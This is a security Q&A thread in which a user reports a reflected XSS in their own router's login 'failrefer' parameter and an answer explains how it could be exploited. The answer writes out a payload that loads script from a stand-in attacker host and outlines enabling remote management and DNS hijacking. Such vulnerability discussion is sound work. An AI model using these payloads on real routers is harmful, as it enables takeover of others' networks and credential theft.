A possible router XSS vulnerability

Question

I have been trying to analyze my router modem and see how it works and check for possible vulnerabilities in the system . and i would like some help .

Router Security Research :

router access ip : 192.168.1.1

first the web server do a check :

if (user_level == -1) {
    location.href = "admin.html";
//if user_level == -1 // get him back to the login page 

the web server get the " user_level " from a javascript file .

location : http://192.168.1.1/users.sjs
var currentUser = "error"; var user_level = -1; 

i don't know how the web server can send values to this script ! is this script have global variables ?

if the login is succesfull : the javascript file values :

location : http://192.168.1.1/users.sjs
var currentUser = "technicolor"; var user_level = 15; 

/// current user check :
if (currentUser == "technicolor") {
        location.href = "thomson/index.html";
    }

so the web server give acces if the users.sjs have technicolor and 15 as variables values !

the login page send a POST request to this file :

POST /cgi-bin/basicauth.cgi?index.html HTTP/1.1

one of the request variables is failrefer if the login failed he will redirect him to /admin.html and i found that this post variable have an XSS vulnerability :

&failrefer=/admin.html</script><script>confirm(1)</script>

---

i really want to know what you think ! is there a way that someone can access my router control panel if he found these vulnerability ! thanks :)

Answer 1

Yes they could control your router with that vulnerability.

Even if there's a limit to the length of the failrefer parameter, an attacker could host a script that can execute router functions on http://evil.example.com/attack_router.js and then trick you into visiting

&failrefer=/admin.html</script><script src="http://evil.example.com/attack_router.js"></script>

somehow. For example, by sending you phishing links or by sending emails appearing to come from your known contacts (if this was any targeted attack).

However, you would have to either be logged into your router already (and I'm assuming a call to the URL above won't log you out), or have your router configured with default or weak credentials.

All the attack_router.js script would need to do is make POST requests to router configuration pages. For example, to the remote login page to enable HTTP management on the WAN side. The attacker, knowing your IP from the request to their evil.example.com domain can simply then log into your router.

Other example attacks would be using the DNS configuration page to change your DNS to one that is under control of the attacker. Then they could redirect you to their own systems to attempt to capture your credentials (e.g. an sslstrip style attack).